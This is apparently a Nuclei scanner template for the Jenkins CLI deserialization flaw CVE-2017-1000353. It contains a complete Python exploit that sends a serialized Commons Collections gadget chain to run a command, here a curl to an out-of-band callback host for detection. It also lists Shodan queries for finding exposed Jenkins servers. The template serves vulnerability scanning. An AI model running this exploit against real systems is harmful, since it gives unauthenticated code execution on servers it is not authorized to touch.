Jenkins CLI - Java Deserialization

id: CVE-2017-1000353

info:
  name: Jenkins CLI - Java Deserialization
  author: hnd3884
  severity: critical
  description: |
    Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
  impact: |
    Unauthenticated attackers can execute arbitrary code through unsafe deserialization in the Jenkins CLI interface, achieving complete server compromise.
  remediation: |
    Upgrade Jenkins to version 2.54 or later, or LTS 2.46.1 or later that fixes the unsafe deserialization vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.html
    - https://www.exploit-db.com/exploits/41965/
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
    epss-score: 0.99679
    epss-percentile: 0.9995
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
    product: jenkins
    shodan-query:
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - http.favicon.hash:"81586312"
      - product:"jenkins"
      - x-jenkins
    fofa-query: icon_hash=81586312
  tags: cve,cve2017,jenkins,rce,vkev,kev,vuln

variables:
  OAST: "{{interactsh-url}}"
  ROOTURL: "{{RootURL}}"

code:
  - engine:
      - py
      - python3
    source: |
      import requests
      import uuid
      import threading
      import time
      import os
      import struct

      CMD = 'curl https://' + os.getenv('OAST')
      URL = '%s/cli' % os.getenv('ROOTURL').rstrip('/')
      PREAMLE = b'<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
      PROTO = b'\x00\x00\x00\x00'

      def java_string(s):
          length = len(s)
          packed_length = struct.pack(">H", length)
          return packed_length + s.encode()

      def download(url, session):
          headers = {'Side' : 'download'}
          headers['Content-type'] = 'application/x-www-form-urlencoded'
          headers['Session'] = session
          headers['Transfer-Encoding'] = 'chunked'
          r = requests.post(url, data=b' ', headers=headers,  stream=True, verify=False)
          print(r.content)

      def upload(url, session, data):
          headers = {'Side' : 'upload'}
          headers['Session'] = session
          headers['Content-type'] = 'application/octet-stream'
          headers['Accept-Encoding'] = None
          r = requests.post(url,data=data,headers=headers, verify=False)

      def upload_chunked(url,session):
          headers = {'Side' : 'upload'}
          headers['Session'] = session
          headers['Content-type'] = 'application/octet-stream'
          headers['Accept-Encoding']= None
          headers['Transfer-Encoding'] = 'chunked'
          headers['Cache-Control'] = 'no-cache'

          r = requests.post(url, headers=headers, data=create_payload_chunked(),  verify=False)
          print(r.content.hex())

      def create_payload_chunked():
          yield PREAMLE
          yield PROTO
          yield create_payload(CMD)

      def create_payload(cmd):
          serialized = "aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e63757272656e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e577269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537472696e673b7870757200025b42acf317f8060854e002000078700000050baced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000001740012746f756368202f746d702f686f616e676e64740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878787571007e00110000002f302d021439e722dbd82414a747c2de0e7d831a1264e0ab5902150084604637b41649a8ba9799fe2cc0590574cf970e740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000017704000000017400046173646678787371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078".replace("0012746f756368202f746d702f686f616e676e64",java_string(cmd).hex()).replace('050baced000573', struct.pack(">H", 1291 + len(cmd)-18).hex()  + 'aced000573')
          return bytes.fromhex(serialized)

      def main():
          session = str(uuid.uuid4())
          t = threading.Thread(target=download, args=(URL, session))
          t.start()
          time.sleep(2)
          upload_chunked(URL, session)

      main()

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and